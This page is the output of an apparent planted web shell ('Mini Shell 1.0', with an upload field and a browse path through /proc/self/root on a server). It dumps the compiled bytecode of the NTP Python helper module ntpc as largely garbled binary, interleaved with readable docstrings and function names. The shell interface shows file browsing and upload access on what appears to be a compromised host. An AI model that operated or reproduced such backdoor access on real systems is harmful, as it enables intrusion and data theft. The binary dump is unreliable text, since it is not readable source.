HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/ntp/__pycache__/ntpc.cpython-311.pyc
�

|�d���b�dZddlmZddlZddlZddlZddlZddlZddlZddl	Z
dZd�Zd�Z
d�Ze
��Zej�ed��Zej�ed	��jZej�ed
��jZej�ed��jZd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�ZejZ de _!ejejge _"ej#Z$de$_!ejge$_"ej%Z&eje&_!ejge&_"ej'Z(ej)e(_!ejge(_"ejZ*eje*_!ejejge*_"ej+Z,ej-e,_!ej)ge,_"ej.Z/ej-e/_!ej)ge/_"dS)z#Access libntp funtions from Python.�)�absolute_importN�ntpcc���tj�d��rdStj�d��rdStj�d��rdSdS)zProduce library naming scheme.�darwinzlib%s.dylib�win32z%s.dll�cygwinz	lib%s.dllzlib%s.so)�sys�platform�
startswith���*/usr/lib/python3/dist-packages/ntp/ntpc.py�_fmtrs^��
�|���x�(�(���}�
�|���w�'�'���x�
�|���x�(�(���{��:r
c���g}t�tj��dd�}|�tj�|t
��tzgz����tj	�
t��}|r|�|��|�dt
��tzz��t|��S)z1Load the ntpc library or throw an OSError trying.N���z/usr/lib/x86_64-linux-gnu/ntp/)�__file__�split�os�sep�append�joinr�LIB�ctypes�util�find_library�_dlo)�
ntpc_paths�j�	ntpc_paths   r�
_importador s����J����r�v���s��s�#�A����b�f�k�k�!�t�v�v��|�n�"4�5�5�6�6�6���(�(��-�-�I��%����)�$�$�$����6�$�&�&�3�,�G�H�H�H��
���r
c�n�|D]�}	tj|d���}d}tj�tj�|d��j��}||kr&tj	�
d|�d|�d���|cS#t$rY��wxYwtdtz���)	z Try opening library from a list.T)�	use_errnoz1.2.2�versionzntp.ntpc wrong version 'z' != 'z'
zCan't find %s library)
r�CDLL�ntp�poly�polystr�c_char_p�in_dll�valuer	�stderr�write�OSErrorr)�pathsr�lib�wrap_version�clib_versions     rrr+s����	�	�	�	��+�i�4�8�8�8�C�"�L��8�+�+�F�O�,B�,B�3�	�,R�,R�,X�Y�Y�L��|�+�+��
� � � �L�L�L�Zf�Zf�Zf�!g�h�h�h��J�J�J���	�	�	��D�	����
�)�C�/�
0�
0�0s�BB�
B�B�progname�SYS_TYPE�	PEER_TYPE�
CLOCK_TYPEc���tjtj_t
j�|��}tjgtj_	t�|��S)z(Check if name is a valid algorithm name.)
r�c_int�_ntpc�do_checkname�restyper%r&�	polybytesr(�argtypes)�name�	mid_bytess  r�	checknamer?FsH��!'��E�����"�"�4�(�(�I�#)�?�"3�E������i�(�(�(r
c�`�tj��}tjdz��}d|_dtj_t�tj�	|��tj�	|��t|��tj�	|��t|��tj|��tj|����tj�	t|��d|j���S)z8Compute HMAC or CMAC from data, key, and algorithm name.�@s@N)
r�c_size_t�c_ubyter*r8�do_macr:r%r&r;�len�byref�	bytearray)�data�keyr=�	resultlen�results     r�macrLNs�����!�!�I��n�r�!�
$�
$�F��F�L��E�L��	�L�L���#�#�D�)�)���#�#�D�)�)�3�t�9�9���#�#�C�(�(�#�c�(�(���f�%�%�v�|�I�'>�'>�@�@�@��8���i��/�/�0@���0@�A�B�B�Br
c�b�tj�|��}t|��dS)z&Set program name for logging purposes.N)r%r&r;�_setprogname)�	in_stringr>s  r�setprognamerP[s+����"�"�9�-�-�I�������r
c��tj�|��}||��}tj��}|t
jkrtd���|S)z&NTP l_fp to other Python-style format.zill-formed hex date)r%r&r;r�	get_errno�errno�EINVAL�
ValueError)�callbackrOr>�	out_value�errs     r�	_lfp_wraprYasV����"�"�9�-�-�I����#�#�I�
�
�
�
�C�
�e�l����.�/�/�/��r
c�`�t||��}tj�|��S�z+Convert a time stamp to something readable.)�
_statustoar%r&r')�i_type�i_st�mid_strs   r�	statustoar`ks'�����&�&�G��8���G�$�$�$r
c�j�tt|��}tj�|��Sr[)rY�_prettydater%r&r')rOr_s  r�
prettydatercqs'����Y�/�/�G��8���G�$�$�$r
c�,�tt|��S)z$NTP l_fp to Python-style float time.)rY�_lfptofloat)rOs r�
lfptofloatrfws���[�)�,�,�,r
c�d�tj�|��}t||��dS)z)Log send a message to terminal or output.N)r%r&r;�_msyslog)�levelrOr>s   r�msyslogrj|s-����"�"�9�-�-�I��U�I�����r
)0�__doc__�
__future__rr�ctypes.utilrSr�os.pathr	�ntp.polyr%rrr rr8r(r)r2r7r*�TYPE_SYS�	TYPE_PEER�
TYPE_CLOCKr?rLrPrYr`rcrfrjrhr:r<�ntpc_setprognamerN�ntpc_prettydaterb�ntpc_lfptofloatre�c_doubler\�ntpc_adj_systime�adj_systime�c_bool�ntpc_step_systime�step_systimerr
r�<module>r|sk��*�)�&�&�&�&�&�&�
�
�
�
���������	�	�	�	�����
�
�
�
����������
�
�
� 1�1�1�	�
�����?�!�!�%��4�4���<���u�j�1�1�7���L����{�3�3�9�	�
�\�
 �
 ���
5�
5�
;�
�)�)�)�
C�
C�
C�������%�%�%�%�%�%�-�-�-�
����=������\�6�?�3����%�������)����#���o�����(����#���o�����(����_�
��_�
���|�V�\�2�
���$���m�����(����&���}�����)����r